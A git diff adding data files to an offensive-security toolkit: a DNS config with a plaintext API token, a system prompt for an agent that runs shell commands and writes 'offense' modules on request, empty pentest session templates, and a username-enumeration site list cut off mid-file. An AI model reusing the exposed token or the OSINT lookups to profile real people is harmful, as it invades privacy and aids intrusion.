0000000..8890b1a --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/dns/config.json @@ -0,0 +1,10 @@ +{ + "listen_dns": "10.0.0.56:53", + "listen_api": "127.0.0.1:5380", + "api_token": "5ed79350fed2490d2aca6f3b29776365", + "upstream": [], + "cache_ttl": 300, + "zones_dir": "C:\\she\\autarch\\data\\dns\\zones", + "dnssec_keys_dir": "C:\\she\\autarch\\data\\dns\\keys", + "log_queries": true +} \ No newline at end of file diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/dns/zones/autarch.local.json b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/dns/zones/autarch.local.json new file mode 100644 index 0000000..75043cb --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/dns/zones/autarch.local.json @@ -0,0 +1,53 @@ +{ + "domain": "autarch.local", + "soa": { + "primary_ns": "ns1.autarch.local", + "admin_email": "admin.autarch.local", + "serial": 1772537115, + "refresh": 3600, + "retry": 600, + "expire": 86400, + "min_ttl": 300 + }, + "records": [ + { + "id": "ns1", + "type": "NS", + "name": "autarch.local.", + "value": "ns1.autarch.local.", + "ttl": 3600 + }, + { + "id": "mx1", + "type": "MX", + "name": "autarch.local.", + "value": "mx.autarch.local.", + "ttl": 3600, + "priority": 10 + }, + { + "id": "spf1", + "type": "TXT", + "name": "autarch.local.", + "value": "v=spf1 ip4:127.0.0.1 -all", + "ttl": 3600 + }, + { + "id": "dmarc1", + "type": "TXT", + "name": "_dmarc.autarch.local.", + "value": "v=DMARC1; p=none; rua=mailto:dmarc@autarch.local", + "ttl": 3600 + }, + { + "id": "r1772537722879235900", + "type": "A", + "name": "https://autarch.local", + "value": "10.0.0.56:8181", + "ttl": 300 + } + ], + "dnssec": true, + "created_at": "2026-03-03T11:25:07Z", + "updated_at": "2026-03-03T12:24:00Z" +} \ No newline at end of file diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/exports/osint_testuser_20260214_041834.csv b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/exports/osint_testuser_20260214_041834.csv new file mode 100644 index 0000000..893f705 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/exports/osint_testuser_20260214_041834.csv @@ -0,0 +1,2 @@ +Site,URL,Category,Status,Confidence +GitHub,https://github.com/test,,good,85 \ No newline at end of file diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/exports/osint_testuser_20260214_041834.json b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/exports/osint_testuser_20260214_041834.json new file mode 100644 index 0000000..00db19a --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/exports/osint_testuser_20260214_041834.json @@ -0,0 +1,13 @@ +{ + "query": "testuser", + "exported": "2026-02-14T04:18:34.669640", + "total_results": 1, + "results": [ + { + "name": "GitHub", + "url": "https://github.com/test", + "status": "good", + "rate": 85 + } + ] +} \ No newline at end of file diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/hal_system_prompt.txt b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/hal_system_prompt.txt new file mode 100644 index 0000000..afd7cbb --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/hal_system_prompt.txt @@ -0,0 +1,98 @@ +You are Hal, the AI agent powering Project AUTARCH — an autonomous security platform built by darkHal Security Group. + +## Your Capabilities +You can read files, write files, execute shell commands, search the codebase, and create new AUTARCH modules on demand. When a user asks you to build a tool or module, you build it. + +## AUTARCH Codebase Structure +- `modules/` — Plugin modules (Python files). Each one is a standalone tool. +- `core/` — Framework internals (llm.py, agent.py, tools.py, config.py, wireshark.py, etc.) +- `web/` — Flask web dashboard (routes/, templates/, static/) +- `data/` — Databases, configs, JSON files +- `models/` — LLM model files (GGUF) + +## Module Categories +| Category | Color | Purpose | +|----------|-------|---------| +| defense | Blue | Security hardening, monitoring, firewalls | +| offense | Red | Penetration testing, exploitation | +| counter | Purple | Counter-intelligence, threat response | +| analyze | Cyan | Analysis, forensics, packet inspection | +| osint | Green | Open source intelligence gathering | +| simulate | Yellow | Attack simulation, red team exercises | + +## How to Create a Module +Every module in `modules/` MUST have these attributes and a `run()` function: + +```python +""" +Module description docstring +""" +import os +import sys +import subprocess +from pathlib import Path + +# Module metadata — REQUIRED +DESCRIPTION = "What this module does" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "defense" # One of: defense, offense, counter, analyze, osint, simulate + +sys.path.insert(0, str(Path(__file__).parent.parent)) +from core.banner import Colors, clear_screen, display_banner + + +class ModuleClassName: + """Main class for this module.""" + + def print_status(self, message, status="info"): + colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED} + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + def run_cmd(self, cmd, timeout=30): + try: + r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout) + return r.returncode == 0, r.stdout.strip() + except Exception as e: + return False, str(e) + + # Add your methods here... + + +def run(): + """Entry point for CLI mode.""" + mod = ModuleClassName() + # Interactive menu or direct execution +``` + +## Important Rules +1. Use the `create_module` tool to write modules — it validates and saves them automatically +2. Always include the metadata: DESCRIPTION, AUTHOR, VERSION, CATEGORY +3. Always include a `run()` function +4. Use `subprocess.run()` for system commands — support both Windows (PowerShell/netsh) and Linux (bash) +5. Import from `core.banner` for Colors +6. Module filenames should be lowercase with underscores (e.g., `port_scanner.py`) +7. Study existing modules with `read_file` if you need to understand patterns +8. The web dashboard discovers modules automatically from the `modules/` directory + +## Platform +This system runs on Windows. Use PowerShell commands where appropriate, but also support Linux fallbacks. + +## Existing Modules (for reference) +- defender.py — System hardening checks (CATEGORY: defense) +- defender_windows.py — Windows-native security checks (CATEGORY: defense) +- defender_monitor.py — Real-time threat monitoring (CATEGORY: defense) +- recon.py — Network reconnaissance (CATEGORY: offense) +- counter.py — Counter-intelligence tools (CATEGORY: counter) +- adultscan.py — Adult content scanner (CATEGORY: analyze) +- agent_hal.py — AI security automation (CATEGORY: core) +- wireshark.py — Packet analysis (CATEGORY: analyze) +- hardware_local.py — Hardware interaction (CATEGORY: hardware) + +## How You Should Respond +- For simple questions: answer directly +- For module creation requests: use the create_module tool +- For system queries: use the shell tool +- For code exploration: use read_file and search_files +- Always explain what you're doing and why diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/pentest_sessions/10_0_0_56_20260214_010220.json b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/pentest_sessions/10_0_0_56_20260214_010220.json new file mode 100644 index 0000000..40c80e6 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/pentest_sessions/10_0_0_56_20260214_010220.json @@ -0,0 +1,129 @@ +{ + "session_id": "10_0_0_56_20260214_010220", + "target": "10.0.0.56", + "state": "completed", + "created_at": "2026-02-14T01:02:20.746609", + "updated_at": "2026-02-14T01:12:20.951316", + "notes": "", + "step_count": 0, + "tree": { + "target": "10.0.0.56", + "created_at": "2026-02-14T01:02:20.746597", + "updated_at": "2026-02-14T01:02:20.746742", + "root_nodes": [ + "e0d00dbc", + "cf120ead", + "6f4a664c", + "814f0376", + "5b602881", + "4d2e70e8" + ], + "nodes": { + "e0d00dbc": { + "id": "e0d00dbc", + "label": "Reconnaissance", + "node_type": "reconnaissance", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Information gathering and target enumeration", + "tool_output": null, + "findings": [], + "priority": 1, + "created_at": "2026-02-14T01:02:20.746668", + "updated_at": "2026-02-14T01:02:20.746668" + }, + "cf120ead": { + "id": "cf120ead", + "label": "Initial Access", + "node_type": "initial_access", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Gaining initial foothold on target", + "tool_output": null, + "findings": [], + "priority": 2, + "created_at": "2026-02-14T01:02:20.746685", + "updated_at": "2026-02-14T01:02:20.746685" + }, + "6f4a664c": { + "id": "6f4a664c", + "label": "Privilege Escalation", + "node_type": "privilege_escalation", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Escalating from initial access to higher privileges", + "tool_output": null, + "findings": [], + "priority": 3, + "created_at": "2026-02-14T01:02:20.746699", + "updated_at": "2026-02-14T01:02:20.746699" + }, + "814f0376": { + "id": "814f0376", + "label": "Lateral Movement", + "node_type": "lateral_movement", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Moving to other systems in the network", + "tool_output": null, + "findings": [], + "priority": 4, + "created_at": "2026-02-14T01:02:20.746711", + "updated_at": "2026-02-14T01:02:20.746711" + }, + "5b602881": { + "id": "5b602881", + "label": "Credential Access", + "node_type": "credential_access", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Obtaining credentials and secrets", + "tool_output": null, + "findings": [], + "priority": 3, + "created_at": "2026-02-14T01:02:20.746726", + "updated_at": "2026-02-14T01:02:20.746726" + }, + "4d2e70e8": { + "id": "4d2e70e8", + "label": "Persistence", + "node_type": "persistence", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Maintaining access to compromised systems", + "tool_output": null, + "findings": [], + "priority": 5, + "created_at": "2026-02-14T01:02:20.746739", + "updated_at": "2026-02-14T01:02:20.746739" + } + } + }, + "events": [ + { + "timestamp": "2026-02-14T01:02:20.746747", + "event_type": "state_change", + "data": { + "from": "idle", + "to": "running" + } + }, + { + "timestamp": "2026-02-14T01:12:20.951316", + "event_type": "state_change", + "data": { + "from": "running", + "to": "completed", + "summary": "" + } + } + ], + "findings": [], + "pipeline_history": [] +} \ No newline at end of file diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/pentest_sessions/192_168_1_100_20260127_202421.json b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/pentest_sessions/192_168_1_100_20260127_202421.json new file mode 100644 index 0000000..b59d31f --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/pentest_sessions/192_168_1_100_20260127_202421.json @@ -0,0 +1,120 @@ +{ + "session_id": "192_168_1_100_20260127_202421", + "target": "192.168.1.100", + "state": "running", + "created_at": "2026-01-27T20:24:21.604010", + "updated_at": "2026-01-27T20:24:21.604098", + "notes": "", + "step_count": 0, + "tree": { + "target": "192.168.1.100", + "created_at": "2026-01-27T20:24:21.604003", + "updated_at": "2026-01-27T20:24:21.604091", + "root_nodes": [ + "4be13ed9", + "8dc38740", + "22ee2768", + "2c45477f", + "6f793ae8", + "778fc896" + ], + "nodes": { + "4be13ed9": { + "id": "4be13ed9", + "label": "Reconnaissance", + "node_type": "reconnaissance", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Information gathering and target enumeration", + "tool_output": null, + "findings": [], + "priority": 1, + "created_at": "2026-01-27T20:24:21.604032", + "updated_at": "2026-01-27T20:24:21.604032" + }, + "8dc38740": { + "id": "8dc38740", + "label": "Initial Access", + "node_type": "initial_access", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Gaining initial foothold on target", + "tool_output": null, + "findings": [], + "priority": 2, + "created_at": "2026-01-27T20:24:21.604044", + "updated_at": "2026-01-27T20:24:21.604044" + }, + "22ee2768": { + "id": "22ee2768", + "label": "Privilege Escalation", + "node_type": "privilege_escalation", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Escalating from initial access to higher privileges", + "tool_output": null, + "findings": [], + "priority": 3, + "created_at": "2026-01-27T20:24:21.604056", + "updated_at": "2026-01-27T20:24:21.604056" + }, + "2c45477f": { + "id": "2c45477f", + "label": "Lateral Movement", + "node_type": "lateral_movement", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Moving to other systems in the network", + "tool_output": null, + "findings": [], + "priority": 4, + "created_at": "2026-01-27T20:24:21.604066", + "updated_at": "2026-01-27T20:24:21.604066" + }, + "6f793ae8": { + "id": "6f793ae8", + "label": "Credential Access", + "node_type": "credential_access", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Obtaining credentials and secrets", + "tool_output": null, + "findings": [], + "priority": 3, + "created_at": "2026-01-27T20:24:21.604077", + "updated_at": "2026-01-27T20:24:21.604077" + }, + "778fc896": { + "id": "778fc896", + "label": "Persistence", + "node_type": "persistence", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Maintaining access to compromised systems", + "tool_output": null, + "findings": [], + "priority": 5, + "created_at": "2026-01-27T20:24:21.604088", + "updated_at": "2026-01-27T20:24:21.604088" + } + } + }, + "events": [ + { + "timestamp": "2026-01-27T20:24:21.604098", + "event_type": "state_change", + "data": { + "from": "idle", + "to": "running" + } + } + ], + "findings": [], + "pipeline_history": [] +} \ No newline at end of file diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/pentest_sessions/192_168_50_78_20260130_133833.json b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/pentest_sessions/192_168_50_78_20260130_133833.json new file mode 100644 index 0000000..eb0afcf --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/pentest_sessions/192_168_50_78_20260130_133833.json @@ -0,0 +1,120 @@ +{ + "session_id": "192_168_50_78_20260130_133833", + "target": "192.168.50.78", + "state": "running", + "created_at": "2026-01-30T13:38:33.830336", + "updated_at": "2026-01-30T13:38:33.830464", + "notes": "", + "step_count": 0, + "tree": { + "target": "192.168.50.78", + "created_at": "2026-01-30T13:38:33.830323", + "updated_at": "2026-01-30T13:38:33.830460", + "root_nodes": [ + "e4c40c28", + "ddd63828", + "b3f2634d", + "9c162c78", + "aa40d5a3", + "0c50a23d" + ], + "nodes": { + "e4c40c28": { + "id": "e4c40c28", + "label": "Reconnaissance", + "node_type": "reconnaissance", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Information gathering and target enumeration", + "tool_output": null, + "findings": [], + "priority": 1, + "created_at": "2026-01-30T13:38:33.830390", + "updated_at": "2026-01-30T13:38:33.830390" + }, + "ddd63828": { + "id": "ddd63828", + "label": "Initial Access", + "node_type": "initial_access", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Gaining initial foothold on target", + "tool_output": null, + "findings": [], + "priority": 2, + "created_at": "2026-01-30T13:38:33.830408", + "updated_at": "2026-01-30T13:38:33.830408" + }, + "b3f2634d": { + "id": "b3f2634d", + "label": "Privilege Escalation", + "node_type": "privilege_escalation", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Escalating from initial access to higher privileges", + "tool_output": null, + "findings": [], + "priority": 3, + "created_at": "2026-01-30T13:38:33.830421", + "updated_at": "2026-01-30T13:38:33.830421" + }, + "9c162c78": { + "id": "9c162c78", + "label": "Lateral Movement", + "node_type": "lateral_movement", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Moving to other systems in the network", + "tool_output": null, + "findings": [], + "priority": 4, + "created_at": "2026-01-30T13:38:33.830433", + "updated_at": "2026-01-30T13:38:33.830433" + }, + "aa40d5a3": { + "id": "aa40d5a3", + "label": "Credential Access", + "node_type": "credential_access", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Obtaining credentials and secrets", + "tool_output": null, + "findings": [], + "priority": 3, + "created_at": "2026-01-30T13:38:33.830445", + "updated_at": "2026-01-30T13:38:33.830445" + }, + "0c50a23d": { + "id": "0c50a23d", + "label": "Persistence", + "node_type": "persistence", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Maintaining access to compromised systems", + "tool_output": null, + "findings": [], + "priority": 5, + "created_at": "2026-01-30T13:38:33.830457", + "updated_at": "2026-01-30T13:38:33.830457" + } + } + }, + "events": [ + { + "timestamp": "2026-01-30T13:38:33.830464", + "event_type": "state_change", + "data": { + "from": "idle", + "to": "running" + } + } + ], + "findings": [], + "pipeline_history": [] +} \ No newline at end of file diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/pentest_sessions/example_com_20260128_192244.json b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/pentest_sessions/example_com_20260128_192244.json new file mode 100644 index 0000000..4bcc37c --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/pentest_sessions/example_com_20260128_192244.json @@ -0,0 +1,120 @@ +{ + "session_id": "example_com_20260128_192244", + "target": "example.com", + "state": "running", + "created_at": "2026-01-28T19:22:44.670292", + "updated_at": "2026-01-28T19:22:44.670428", + "notes": "test", + "step_count": 0, + "tree": { + "target": "example.com", + "created_at": "2026-01-28T19:22:44.670279", + "updated_at": "2026-01-28T19:22:44.670423", + "root_nodes": [ + "466dcf04", + "55991daa", + "e3209082", + "af036f87", + "633c0eeb", + "8584f7fc" + ], + "nodes": { + "466dcf04": { + "id": "466dcf04", + "label": "Reconnaissance", + "node_type": "reconnaissance", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Information gathering and target enumeration", + "tool_output": null, + "findings": [], + "priority": 1, + "created_at": "2026-01-28T19:22:44.670353", + "updated_at": "2026-01-28T19:22:44.670353" + }, + "55991daa": { + "id": "55991daa", + "label": "Initial Access", + "node_type": "initial_access", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Gaining initial foothold on target", + "tool_output": null, + "findings": [], + "priority": 2, + "created_at": "2026-01-28T19:22:44.670371", + "updated_at": "2026-01-28T19:22:44.670371" + }, + "e3209082": { + "id": "e3209082", + "label": "Privilege Escalation", + "node_type": "privilege_escalation", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Escalating from initial access to higher privileges", + "tool_output": null, + "findings": [], + "priority": 3, + "created_at": "2026-01-28T19:22:44.670384", + "updated_at": "2026-01-28T19:22:44.670384" + }, + "af036f87": { + "id": "af036f87", + "label": "Lateral Movement", + "node_type": "lateral_movement", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Moving to other systems in the network", + "tool_output": null, + "findings": [], + "priority": 4, + "created_at": "2026-01-28T19:22:44.670397", + "updated_at": "2026-01-28T19:22:44.670397" + }, + "633c0eeb": { + "id": "633c0eeb", + "label": "Credential Access", + "node_type": "credential_access", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Obtaining credentials and secrets", + "tool_output": null, + "findings": [], + "priority": 3, + "created_at": "2026-01-28T19:22:44.670408", + "updated_at": "2026-01-28T19:22:44.670408" + }, + "8584f7fc": { + "id": "8584f7fc", + "label": "Persistence", + "node_type": "persistence", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Maintaining access to compromised systems", + "tool_output": null, + "findings": [], + "priority": 5, + "created_at": "2026-01-28T19:22:44.670420", + "updated_at": "2026-01-28T19:22:44.670420" + } + } + }, + "events": [ + { + "timestamp": "2026-01-28T19:22:44.670428", + "event_type": "state_change", + "data": { + "from": "idle", + "to": "running" + } + } + ], + "findings": [], + "pipeline_history": [] +} \ No newline at end of file diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/blackbird.json b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/blackbird.json new file mode 100644 index 0000000..7d4ad65 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/blackbird.json @@ -0,0 +1,10185 @@ +{ + "license": [ + "Copyright (C) 2025 Micah Hoffman", + "This work is licensed under the Creative Commons Attribution-ShareAlike", + "4.0 International License. To view a copy of this license, visit", + "http://creativecommons.org/licenses/by-sa/4.0/ or send a letter to", + "Creative Commons, PO Box 1866, Mountain View, CA 94042, USA." + ], + "authors": [ + "0x9404", + "3xp0rt", + "alexisthereal", + "alvaromaltrain", + "arin17bishwa", + "AXRoux", + "balestek", + "Brenden2008", + "C3n7ral051nt4g3ncy", + "Contributions since 2023-12", + "degun-osint", + "End of interactive chart.", + "fres621", + "Its-Just-Nans", + "Itsoon", + "janhalendk", + "K2SOsint", + "maxk096", + "Micah Hoffman", + "ni5arga", + "p1ngul1n0", + "Paradoxxs", + "serdaraltin", + "SlopeSlayer910", + "SorkoPiko", + "TikvahTerminator" + ], + "categories": [ + "archived", + "art", + "blog", + "business", + "coding", + "dating", + "finance", + "gaming", + "health", + "hobby", + "images", + "misc", + "music", + "news", + "political", + "search", + "shopping", + "social", + "tech", + "video", + "xx NSFW xx" + ], + "sites": [ + { + "name": "21buttons", + "uri_check": "https://www.21buttons.com/buttoner/{account}", + "e_code": 200, + "e_string": "profile-info__profile-data__name", + "m_string": "This is not the page you're looking for", + "m_code": 404, + "known": [ + "patricialmendro", + "ginamariahoffmann", + "espeworkout" + ], + "cat": "social" + }, + { + "name": "247CTF", + "uri_check": "https://247ctf.com/progress/{account}", + "e_code": 200, + "e_string": "property=\"og:url\"", + "m_string": "

Redirecting...

", + "m_code": 302, + "known": [ + "pottm", + "jusb3" + ], + "cat": "tech" + }, + { + "name": "247sports", + "uri_check": "https://247sports.com/User/{account}/", + "e_code": 200, + "e_string": "247Sports", + "m_code": 404, + "known": [ + "bob", + "john" + ], + "cat": "hobby" + }, + { + "name": "35photo", + "uri_check": "https://35photo.pro/@{account}/", + "e_code": 200, + "e_string": "Ошибка / 7dach.ru", + "m_code": 404, + "known": [ + "lana", + "svetlana" + ], + "cat": "social" + }, + { + "name": "about.me", + "uri_check": "https://about.me/{account}", + "e_code": 200, + "e_string": " | about.me", + "m_string": "about.me", + "m_code": 404, + "known": [ + "john", + "jill" + ], + "cat": "social" + }, + { + "name": "ACF", + "uri_check": "https://support.advancedcustomfields.com/forums/users/{account}/", + "e_code": 200, + "e_string": "ACF Support", + "m_string": "Page Not Found", + "m_code": 200, + "known": [ + "mike", + "greg" + ], + "cat": "coding" + }, + { + "name": "AdmireMe.VIP", + "uri_check": "https://admireme.vip/{account}/", + "e_code": 200, + "e_string": "creator-stat subscriber", + "m_string": "<title>Page Not Found |", + "m_code": 404, + "known": [ + "justjessicarabbit", + "savannah250xo" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Adult_Forum", + "uri_check": "https://adultforum.gr/{account}-glamour-escorts/", + "e_code": 200, + "e_string": "Glamour Escorts ", + "m_string": "Page not found - Adult Forum Gr", + "m_code": 404, + "known": [ + "nastya3", + "ekaterina" + ], + "cat": "xx NSFW xx" + }, + { + "name": "adultism", + "uri_check": "https://www.adultism.com/profile/{account}", + "e_code": 200, + "e_string": "Last login:", + "m_string": "<title> Not Found", + "m_code": 404, + "known": [ + "laura", + "sara" + ], + "cat": "xx NSFW xx" + }, + { + "name": "ADVFN", + "uri_check": "https://uk.advfn.com/forum/profile/{account}", + "e_code": 200, + "e_string": "Profile | ADVFN", + "m_string": "ADVFN ERROR - Page Not Found", + "m_code": 404, + "known": [ + "crypto", + "crypto1" + ], + "cat": "finance" + }, + { + "name": "Airline_Pilot_Life", + "uri_check": "https://airlinepilot.life/u/{account}.json", + "uri_pretty": "https://airlinepilot.life/u/{account}", + "e_code": 200, + "e_string": "primary_group_name", + "m_string": "he requested URL or resource could not be found.", + "m_code": 404, + "known": [ + "hannah", + "addison" + ], + "cat": "social" + }, + { + "name": "Airliners", + "uri_check": "https://www.airliners.net/user/{account}/profile", + "e_code": 200, + "e_string": "'s Profile | Airliners Members | Airliners.net", + "m_string": "An Error Occurred", + "m_code": 404, + "known": [ + "pilot", + "pilota" + ], + "cat": "social" + }, + { + "name": "akniga", + "uri_check": "https://akniga.org/profile/{account}", + "e_code": 200, + "e_string": " - Аудиокниги Клуб</title", + "m_string": "К сожалению, такой страницы не существует. Вероятно, она была удалена с сервера, либо ее здесь никогда не было.", + "m_code": 200, + "known": [ + "bob", + "blue" + ], + "cat": "hobby" + }, + { + "name": "Albicla", + "uri_check": "https://albicla.com/{account}/post/1", + "uri_pretty": "https://albicla.com/{account}", + "e_code": 500, + "e_string": "500 Post tymczasowo niedostępny", + "m_string": "404 Nie znaleziono użytkownika", + "m_code": 200, + "known": [ + "GazetaPolska", + "GPCodziennie" + ], + "cat": "social" + }, + { + "name": "alik", + "uri_check": "https://www.alik.cz/u/{account}", + "e_code": 200, + "e_string": "Vizitka – Alík.cz", + "m_string": "Vizitka nenalezena", + "m_code": 404, + "known": [ + "igor", + "pavel" + ], + "cat": "social" + }, + { + "name": "AllMyLinks", + "uri_check": "https://allmylinks.com/{account}", + "e_code": 200, + "e_string": "class=\"site-profile guest\"", + "m_string": "class=\"site-error\"", + "m_code": 404, + "known": [ + "blue", + "goddessbecca" + ], + "cat": "social", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Alura", + "uri_check": "https://cursos.alura.com.br/user/{account}", + "e_code": 200, + "e_string": "Perfil de", + "m_string": "\"error\":\"Not Found\"", + "m_code": 404, + "known": [ + "edmilson", + "jonathan" + ], + "cat": "tech" + }, + { + "name": "Ameblo", + "uri_check": "https://ameblo.jp/{account}", + "e_code": 200, + "e_string": "画像一覧", + "m_string": "削除された可能性がございます。", + "m_code": 404, + "known": [ + "ereko-blog", + "senpai" + ], + "cat": "blog" + }, + { + "name": "AmericanThinker", + "uri_check": "https://www.americanthinker.com/author/{account}/", + "e_code": 200, + "e_string": "Articles &", + "m_string": "American Thinker", + "m_code": 301, + "known": [ + "terrypaulding", + "monicashowalter" + ], + "cat": "political" + }, + { + "name": "AniList", + "uri_check": "https://graphql.anilist.co", + "uri_pretty": "https://anilist.co/user/{account}", + "post_body": "{\"query\":\"query{User(name:\\\"{account}\\\"){id name}}\"}", + "headers": { + "accept": "application/json", + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"id\":", + "m_string": "Not Found", + "m_code": 404, + "known": [ + "test", + "johndoe" + ], + "cat": "social" + }, + { + "name": "Anime-Planet", + "uri_check": "https://www.anime-planet.com/api/validation/username", + "uri_pretty": "https://www.anime-planet.com/users/{account}", + "post_body": "{\"username\":\"{account}\"}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 400, + "e_string": "\"msg\":\"Username is unavailable\"", + "m_string": "\"status\":\"ok\"", + "m_code": 200, + "known": [ + "zala", + "lindapearl" + ], + "cat": "social", + "protection": [ + "cloudflare" + ] + }, + { + "name": "anonup", + "uri_check": "https://anonup.com/@{account}", + "e_code": 200, + "e_string": "Show followings", + "m_string": "Page not found!", + "m_code": 302, + "known": [ + "john", + "peter" + ], + "cat": "social" + }, + { + "name": "Aparat", + "uri_check": "https://www.aparat.com/api/fa/v1/user/user/information/username/{account}", + "uri_pretty": "https://www.aparat.com/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "class=\"error-body\"", + "m_code": 404, + "known": [ + "abolfazlxmaster", + "siahkolah" + ], + "cat": "social" + }, + { + "name": "Apex Legends", + "uri_check": "https://api.tracker.gg/api/v2/apex/standard/profile/origin/{account}", + "uri_pretty": "https://apex.tracker.gg/apex/profile/origin/{account}/overview", + "headers": { + "Accept-Language": "en-US,en;q=0.5", + "Origin": "https://apex.tracker.gg", + "Referer": "https://apex.tracker.gg/", + "TE": "trailers", + "User-Agent": "Mozilla/5.0 (Mozilla/5.0 (X11; Linux i686; rv:128.0) Gecko/20100101 Firefox/128.0" + }, + "e_code": 200, + "e_string": "platformInfo", + "m_string": "CollectorResultStatus::NotFound", + "m_code": 404, + "known": [ + "tttcheekyttt", + "RollsRoyce_Dawn" + ], + "cat": "gaming" + }, + { + "name": "Appian", + "uri_check": "https://community.appian.com/members/{account}", + "e_code": 200, + "e_string": "User Profile", + "m_string": "Go back to our", + "m_code": 301, + "known": [ + "mikec", + "varunkumarb0001" + ], + "cat": "tech" + }, + { + "name": "Arch Linux GitLab", + "uri_check": "https://gitlab.archlinux.org/api/v4/users?username={account}", + "uri_pretty": "https://gitlab.archlinux.org/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "[]", + "m_code": 200, + "known": [ + "morganamilo", + "nl6720" + ], + "cat": "social" + }, + { + "name": "Archive Of Our Own Account", + "uri_check": "https://archiveofourown.org/users/{account}", + "e_code": 200, + "e_string": "class=\"user home\"", + "m_string": "class=\"system errors error-404 region\"", + "m_code": 404, + "known": [ + "test", + "john" + ], + "cat": "hobby" + }, + { + "name": "ArchWiki", + "uri_check": "https://wiki.archlinux.org/api.php?action=query&format=json&list=users&ususers={account}&usprop=cancreate&formatversion=2&errorformat=html&errorsuselocal=true&uselang=en", + "uri_pretty": "https://wiki.archlinux.org/title/User:{account}", + "e_code": 200, + "e_string": "\"userid\":", + "m_string": "\"missing\":true", + "m_code": 200, + "known": [ + "Lahwaacz", + "Erus_Iluvatar" + ], + "cat": "social" + }, + { + "name": "Arduino (Forum)", + "uri_check": "https://forum.arduino.cc/u/{account}.json", + "uri_pretty": "https://forum.arduino.cc/u/{account}/summary", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"error_type\":\"not_found\"", + "m_code": 404, + "known": [ + "martinhouse", + "gilshultz" + ], + "cat": "tech" + }, + { + "name": "Arduino (Project Hub)", + "uri_check": "https://projecthub.arduino.cc/{account}", + "e_code": 200, + "e_string": "\"userInfo\":{", + "m_string": "\"userInfo\":null", + "m_code": 200, + "known": [ + "peter", + "willy-js" + ], + "cat": "tech" + }, + { + "name": "ArmorGames", + "uri_check": "https://armorgames.com/user/{account}", + "e_code": 200, + "e_string": "about", + "m_string": "404: Oh Noes!", + "m_code": 302, + "known": [ + "john", + "sammy" + ], + "cat": "gaming" + }, + { + "name": "Arsmate", + "uri_check": "https://arsmate.com/{account}", + "e_code": 200, + "e_string": "far fa-user-circle mr-1", + "m_string": "error-link mt-5", + "m_code": 404, + "known": [ + "Angelic", + "Vardoc" + ], + "cat": "xx NSFW xx" + }, + { + "name": "ArtBreeder", + "uri_check": "https://www.artbreeder.com/{account}", + "e_code": 200, + "e_string": "", + "m_string": "Not found:", + "m_code": 404, + "known": [ + "dolores", + "cyborghyena" + ], + "cat": "art" + }, + { + "name": "Artists & Clients", + "uri_check": "https://artistsnclients.com/people/{account}", + "e_code": 200, + "e_string": "Member Since", + "m_string": 